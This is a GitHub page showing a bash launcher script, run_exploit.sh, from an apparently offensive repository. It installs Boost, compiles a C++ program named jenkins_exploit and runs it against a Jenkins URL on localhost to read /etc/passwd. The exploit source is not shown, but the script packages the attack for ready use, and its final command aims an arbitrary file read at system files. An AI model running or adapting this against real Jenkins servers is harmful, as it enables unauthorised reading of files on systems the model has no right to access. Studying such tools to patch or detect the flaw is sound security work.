-
Notifications
You must be signed in to change notification settings - Fork 0
/
run_exploit.sh
40 lines (33 loc) · 1.21 KB
/
run_exploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash
# Check if g++ is installed
if ! command -v g++ &> /dev/null; then
echo "Error: g++ is not installed. Please install it first."
exit 1
fi
# Check if libboost-all-dev is installed, and install it if not
if ! dpkg -l | grep libboost-all-dev &> /dev/null; then
echo "libboost-all-dev is not installed. Installing it..."
sudo apt-get update
sudo apt-get install libboost-all-dev -y
# Check if installation was successful
if [ $? -ne 0 ]; then
echo "Error: Failed to install libboost-all-dev. Please check your internet connection and try again."
exit 1
fi
fi
# Compile the C++ code
echo "Compiling the code..."
g++ -std=c++11 -Wall -Wextra -pedantic -O3 -o jenkins_exploit main.cpp -lboost_system -lboost_thread -lpthread
# Check if compilation was successful
if [ $? -ne 0 ]; then
echo "Error: Compilation failed. Please fix any compilation errors and try again."
exit 1
fi
# Check if the binary exists
if [ ! -f ./jenkins_exploit ]; then
echo "Error: Compiled binary not found. Please check the compilation process."
exit 1
fi
# Run the exploit with target URL and file path
echo "Running the exploit..."
./jenkins_exploit http://127.0.0.1:8888/ /etc/passwd